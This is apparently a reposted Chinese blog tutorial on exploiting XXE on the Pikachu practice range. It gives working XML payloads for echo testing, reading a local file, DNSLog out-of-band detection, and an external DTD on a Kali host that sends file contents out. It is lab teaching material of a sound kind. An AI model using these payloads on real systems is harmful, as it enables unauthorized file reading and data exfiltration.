当前位置:   article > 正文

pikachu靶场之XXE漏洞详解_pikachu xxe

pikachu xxe

pikachu验证XXE漏洞:分为有回显和无回显;

有回显:

首先尝试用BP抓包:

然后观察请求行、Accept、Content-Type,这里可以从Accept中发现能够接收的文档类型包括xml。

然后构造payload:

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe "你真棒!" > ]>

<foo>&xxe;</foo>

如果真的存在xml漏洞,那么这里就会回显“你真棒!”。

但是当我用BP发送payload时却没有成功:

然后重新抓包,抓发送payload时的包:

可以看到是因为payload被URL编码了。

接下来就可以利用这个漏洞来读取服务器下的文件内容,构造payload

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe SYSTEM "file:///d:/123.txt"  > ]>

<foo>&xxe;</foo>

这个payload将读取到在D盘下的123.txt文件的内容:

如果用BP发送的话,就要先URL编码:

无回显:

对这个靶场的源文件的输出语句进行注释后,就不会出现回显了:

此时重新发送payload是看不到任何东西的:

当遇到没有回显的情况可以用到这个网站DNSLog Platform。这是个域名解析网站,在这里用来检验目标主机是否能够解析xml的代码。

这个网站会给出一个子域名:

构造payload:

<?xml version="1.0"?>

<!DOCTYPE foo [   

<!ENTITY xxe SYSTEM "http://1zjmu5.dnslog.cn"> ]>

<foo>&xxe;</foo>

只要目标服务器能够解析xml代码就会访问代码中的网址。

上图说明目标主机访问了代码中的网址,那就说明目标主机能够解析xml代码,所以可能存在xxe漏洞

接着需要用到Kali作为攻击机,首先在Kali中开启HTTP服务:

开启后在本机的浏览器输入Kali的IP就可以连接到服务:

(也可以用这种方式将虚拟机的文件下载到本机,在IP后面加上文件路径就行)

然后在Kali中编辑一个文件xxe.dtd(需要在存在这个文件的目录下开启HTTP服务)

这段代码是用来读取本机中的123.txt文件,马赛克处是Kali的IP。

然后在pikachu靶场中构造payload如下:

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://192.168.153.128/xxe.dtd">

%remote;%int;%send;

]>

这个payload会调用Kali中的xxe.dtd文件。

发送后就可以在Kali中看到记录:

红框中的内容就是123.txt文件经过base64编码后的内容,解码后的结果如下:

文件内容是中文所以显示乱码了。

把文件内容改成英文重来。

末尾的感叹号也是乱码。

至此就完成了对xxe漏洞的利用。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/589970
推荐阅读
相关标签
  

闽ICP备14008679号